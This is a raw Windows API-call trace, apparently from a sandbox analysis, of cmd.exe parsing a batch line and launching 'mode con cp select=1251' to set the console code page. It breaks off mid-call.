[0131.611] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.611] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.611] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0131.611] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.611] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.611] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0131.611] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.611] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.611] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0131.611] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.611] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.611] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0131.611] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.611] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.612] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0131.612] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.612] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.612] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0131.612] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.612] GetFileType (hFile=0xf94) returned 0x3 [0131.612] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.612] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.612] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0131.612] GetFileType (hFile=0xfa0) returned 0x3 [0131.612] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0131.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0131.613] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xa1288ff898, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff898*=0x18, lpOverlapped=0x0) returned 1 [0131.613] GetProcessHeap () returned 0x1d64a970000 [0131.613] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x4012) returned 0x1d64a978fe0 [0131.613] GetProcessHeap () returned 0x1d64a970000 [0131.613] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a978fe0) returned 1 [0131.613] _wcsicmp (_String1="mode", _String2=")") returned 68 [0131.613] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0131.613] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0131.613] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0131.613] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0131.613] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0131.613] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0131.613] GetProcessHeap () returned 0x1d64a970000 [0131.613] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xb0) returned 0x1d64a978320 [0131.613] GetProcessHeap () returned 0x1d64a970000 [0131.613] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x1a) returned 0x1d64a976a80 [0131.614] GetProcessHeap () returned 0x1d64a970000 [0131.614] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x38) returned 0x1d64a971850 [0131.615] GetConsoleOutputCP () returned 0x1b5 [0131.827] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff72b9efbb0 | out: lpCPInfo=0x7ff72b9efbb0) returned 1 [0131.827] SetThreadUILanguage (LangId=0x0) returned 0x409 [0132.016] GetConsoleTitleW (in: lpConsoleTitle=0xa1288ff6e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0132.183] malloc (_Size=0xffce) returned 0x1d64ab90840 [0132.183] ??_V@YAXPEAX@Z () returned 0x1d64ab90840 [0132.184] malloc (_Size=0xffce) returned 0x1d64aba0820 [0132.184] ??_V@YAXPEAX@Z () returned 0x1d64aba0820 [0132.185] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0132.185] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0132.185] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0132.185] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0132.185] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0132.185] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0132.185] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0132.185] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0132.185] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0132.185] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0132.185] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0132.185] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0132.185] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0132.186] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0132.186] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0132.186] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0132.186] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0132.186] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0132.186] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0132.186] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0132.186] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0132.186] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0132.186] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0132.186] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0132.186] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0132.186] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0132.186] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0132.186] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0132.186] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0132.186] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0132.186] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0132.186] _wcsicmp (_String1="mode", _String2="START") returned -6 [0132.186] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0132.186] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0132.186] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0132.186] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0132.186] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0132.186] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0132.186] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0132.186] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0132.186] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0132.186] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0132.186] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0132.186] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0132.187] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0132.187] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0132.187] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0132.187] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0132.187] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0132.187] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0132.187] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0132.187] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0132.187] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0132.187] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0132.187] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0132.187] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0132.187] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0132.187] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0132.187] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0132.187] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0132.187] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0132.187] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0132.187] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0132.187] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0132.187] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0132.187] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0132.187] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0132.187] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0132.187] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0132.187] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0132.187] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0132.187] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0132.187] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0132.187] _wcsicmp (_String1="mode", _String2="START") returned -6 [0132.187] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0132.187] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0132.187] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0132.187] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0132.188] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0132.188] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0132.188] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0132.188] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0132.188] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0132.188] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0132.188] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0132.188] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0132.188] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0132.188] ??_V@YAXPEAX@Z () returned 0x1 [0132.188] GetProcessHeap () returned 0x1d64a970000 [0132.188] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xffde) returned 0x1d64a978fe0 [0132.189] GetProcessHeap () returned 0x1d64a970000 [0132.189] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x42) returned 0x1d64a9783e0 [0132.189] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0132.189] malloc (_Size=0xffce) returned 0x1d64aba0820 [0132.189] ??_V@YAXPEAX@Z () returned 0x1d64aba0820 [0132.189] GetProcessHeap () returned 0x1d64a970000 [0132.189] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x1ffac) returned 0x1d64a988fd0 [0132.191] SetErrorMode (uMode=0x0) returned 0x0 [0132.191] SetErrorMode (uMode=0x1) returned 0x0 [0132.191] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1d64a988fe0, lpFilePart=0xa1288fef60 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xa1288fef60*="Desktop") returned 0x17 [0132.192] SetErrorMode (uMode=0x0) returned 0x1 [0132.192] GetProcessHeap () returned 0x1d64a970000 [0132.192] RtlReAllocateHeap (Heap=0x1d64a970000, Flags=0x0, Ptr=0x1d64a988fd0, Size=0x4a) returned 0x1d64a988fd0 [0132.192] GetProcessHeap () returned 0x1d64a970000 [0132.192] RtlSizeHeap (HeapHandle=0x1d64a970000, Flags=0x0, MemoryPointer=0x1d64a988fd0) returned 0x4a [0132.192] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0132.192] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0132.192] GetProcessHeap () returned 0x1d64a970000 [0132.192] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x1bc) returned 0x1d64a976c30 [0132.192] GetProcessHeap () returned 0x1d64a970000 [0132.192] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x368) returned 0x1d64a989030 [0132.201] GetProcessHeap () returned 0x1d64a970000 [0132.201] RtlReAllocateHeap (Heap=0x1d64a970000, Flags=0x0, Ptr=0x1d64a989030, Size=0x1be) returned 0x1d64a989030 [0132.201] GetProcessHeap () returned 0x1d64a970000 [0132.201] RtlSizeHeap (HeapHandle=0x1d64a970000, Flags=0x0, MemoryPointer=0x1d64a989030) returned 0x1be [0132.201] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0132.201] GetProcessHeap () returned 0x1d64a970000 [0132.201] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xe8) returned 0x1d64a976e00 [0132.203] GetProcessHeap () returned 0x1d64a970000 [0132.203] RtlReAllocateHeap (Heap=0x1d64a970000, Flags=0x0, Ptr=0x1d64a976e00, Size=0x7e) returned 0x1d64a976e00 [0132.203] GetProcessHeap () returned 0x1d64a970000 [0132.203] RtlSizeHeap (HeapHandle=0x1d64a970000, Flags=0x0, MemoryPointer=0x1d64a976e00) returned 0x7e [0132.203] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0132.203] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xa1288fecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa1288fecd0) returned 0xffffffffffffffff [0132.203] GetLastError () returned 0x2 [0132.204] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0132.204] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xa1288fecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa1288fecd0) returned 0xffffffffffffffff [0132.207] GetLastError () returned 0x2 [0132.207] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0132.207] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xa1288fecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa1288fecd0) returned 0x1d64a976e90 [0132.207] GetProcessHeap () returned 0x1d64a970000 [0132.207] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x0, Size=0x28) returned 0x1d64a971890 [0132.207] FindClose (in: hFindFile=0x1d64a976e90 | out: hFindFile=0x1d64a976e90) returned 1 [0132.208] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xa1288fecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa1288fecd0) returned 0x1d64a976e90 [0132.208] GetProcessHeap () returned 0x1d64a970000 [0132.208] RtlReAllocateHeap (Heap=0x1d64a970000, Flags=0x0, Ptr=0x1d64a971890, Size=0x8) returned 0x1d64a971890 [0132.208] FindClose (in: hFindFile=0x1d64a976e90 | out: hFindFile=0x1d64a976e90) returned 1 [0132.208] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0132.208] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0132.208] ??_V@YAXPEAX@Z () returned 0x1 [0132.208] GetConsoleTitleW (in: lpConsoleTitle=0xa1288ff250, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0132.326] GetProcessHeap () returned 0x1d64a970000 [0132.326] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x21c) returned 0x1d64a989200 [0132.326] GetConsoleTitleW (in: lpConsoleTitle=0x1d64a989210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0132.393] GetProcessHeap () returned 0x1d64a970000 [0132.393] RtlReAllocateHeap (Heap=0x1d64a970000, Flags=0x0, Ptr=0x1d64a989200, Size=0xaa) returned 0x1d64a989200 [0132.393] GetProcessHeap () returned 0x1d64a970000 [0132.393] RtlSizeHeap (HeapHandle=0x1d64a970000, Flags=0x0, MemoryPointer=0x1d64a989200) returned 0xaa [0132.393] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0132.398] GetProcessHeap () returned 0x1d64a970000 [0132.398] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a989200) returned 1 [0132.398] InitializeProcThreadAttributeList (in: lpAttributeList=0xa1288ff170, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xa1288ff060 | out: lpAttributeList=0xa1288ff170, lpSize=0xa1288ff060) returned 1 [0132.398] UpdateProcThreadAttribute (in: lpAttributeList=0xa1288ff170, dwFlags=0x0, Attribute=0x60001, lpValue=0xa1288ff04c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xa1288ff170, lpPreviousValue=0x0) returned 1 [0132.398] GetStartupInfoW (in: lpStartupInfo=0xa1288ff100 | out: lpStartupInfo=0xa1288ff100*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf94, hStdOutput=0xfa0, hStdError=0xfa0)) [0132.398] GetProcessHeap () returned 0x1d64a970000 [0132.398] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x20) returned 0x1d64a976e90 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0132.398] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0132.399] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0132.399] GetProcessHeap () returned 0x1d64a970000 [0132.399] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a976e90) returned 1 [0132.399] GetProcessHeap () returned 0x1d64a970000 [0132.399] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x12) returned 0x1d64a976e90 [0132.399] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0132.399] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0132.399] _get_osfhandle (_FileHandle=0) returned 0xf94 [0132.399] SetConsoleMode (hConsoleHandle=0xf94, dwMode=0x0) returned 0 [0132.399] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xa1288ff090*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xa1288ff068 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0xa1288ff068*(hProcess=0x98, hThread=0x94, dwProcessId=0x1c6c, dwThreadId=0x1c70)) returned 1 [0135.079] CloseHandle (hObject=0x94) returned 1 [0135.079] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0135.079] GetProcessHeap () returned 0x1d64a970000 [0135.079] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a978500) returned 1 [0135.079] GetEnvironmentStringsW () returned 0x1d64a9784c0* [0135.079] GetProcessHeap () returned 0x1d64a970000 [0135.079] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xacc) returned 0x1d64a989520 [0135.079] FreeEnvironmentStringsA (penv="=") returned 1 [0135.079] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0135.079] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0135.079] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xa1288fe568, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xa1288fe568, ReturnLength=0x0) returned 0x0 [0135.079] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x4da27c9000, lpBuffer=0xa1288fe5a0, nSize=0x7a0, lpNumberOfBytesRead=0xa1288fe560 | out: lpBuffer=0xa1288fe5a0*, lpNumberOfBytesRead=0xa1288fe560*=0x7a0) returned 1 [0135.080] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0140.475] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xa1288fefe8 | out: 